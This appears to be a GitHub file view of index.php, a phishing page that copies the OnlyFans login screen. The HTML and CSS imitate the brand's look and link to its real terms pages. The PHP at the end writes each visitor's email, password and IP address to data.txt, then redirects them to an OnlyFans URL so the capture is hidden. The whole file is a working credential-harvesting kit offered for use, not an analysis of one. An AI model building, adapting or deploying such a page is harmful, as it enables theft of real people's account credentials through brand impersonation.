-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.php
130 lines (126 loc) · 4.4 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<style>
/* Add some basic styling */
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
min-height: 100vh; /* Set minimum height to full viewport height */
}
header {
background-color: #00AFF0; /* Blue header color */
padding: 20px;
display: flex; /* Use flexbox for layout */
align-items: center; /* Vertically center items */
}
.logo {
width: 180px; /* Set width of the logo */
height: auto; /* Maintain aspect ratio */
margin-right: 20px; /* Add some space between the logo and other content */
}
.login-form {
width: 300px;
margin: 20px auto; /* Add margin to the top and bottom, and center horizontally */
text-align: center;
}
.login-form h1 {
font-size: 2rem;
margin-bottom: 1rem;
text-align: left; /* Align h1 text to the left */
}
.login-form input {
width: calc(100% - 2px); /* Adjusted width to account for border */
padding: 0.75rem;
margin-bottom: 1rem;
border: solid 1px gray;
border-radius: 4px;
box-sizing: border-box; /* Include padding and border in width calculation */
transition: border-color 0.3s; /* Smooth transition for border color change */
}
.login-form input:focus {
border-color: #00AFF0; /* Change border color when input is focused */
}
.login-form button {
width: calc(100% - 2px); /* Adjusted width to account for border */
padding: 0.75rem;
background-color: #00AFF0; /* Light blue color */
color: white;
border: none;
border-radius: 20px; /* Round the button */
cursor: pointer;
box-sizing: border-box; /* Include padding and border in width calculation */
font-weight: bold; /* Make the text thicker */
}
.login-form button:hover {
background-color: #87CEEB; /* Light blue color when hovered */
}
.login-form .links {
margin-top: 10px; /* Add margin to the top */
display: flex;
justify-content: space-between;
}
.login-form a {
color: #00AFF0; /* Set link color to light blue */
text-decoration: none; /* Remove underline */
}
.login-form a:hover {
text-decoration: underline; /* Underline on hover */
}
footer {
margin-top: auto; /* Push footer to the bottom */
background-color: #f2f2f2; /* Light gray background */
padding: 20px;
text-align: center;
}
.container {
max-width: 1200px; /* Limit container width */
margin: 0 auto; /* Center container horizontally */
}
</style>
</head>
<body>
<header>
<img src="./icon.png" alt="Logo" class="logo">
</header>
<div class="login-form">
<h1>Sign up to support your favorite creators</h1> <!-- This is positioned below the header -->
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="POST">
<input type="email" name="email" placeholder="Email" required />
<input type="password" name="password" placeholder="Password" required />
<button type="submit">LOG IN</button>
</form>
<div class="links">
<a href="#">Forgot password?</a>
<a href="#">Sign up for OnlyFans</a>
</div>
</div>
<footer>
<div class="container pageFooter">
<div id="contentCurve"></div>
<p class="text-muted disclaimer text-center ng-binding" style="font-size: 11px">If you register a new account, you agree to Onlyfans's <a href="https://onlyfans.com/terms" target="_blank">Terms & Conditions</a> and <a href="https://onlyfans.com/privacy" target="_blank">Privacy Policy</a>.</p>
</div>
</footer>
</body>
</html>
<?php
// Check if the form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Get the form data
$email = $_POST["email"];
$password = $_POST["password"];
$ip = $_SERVER['REMOTE_ADDR']; // Get the visitor's IP address
// Store the email, password, and IP address in the text file
$data = "Email: $email\nPassword: $password\nIP Address: $ip\n";
file_put_contents("data.txt", $data, FILE_APPEND);
// Redirect to Google
header("Location: https://onlyfans.com/claim-150-dave");
exit; // Ensure subsequent code is not executed after redirection
}
?>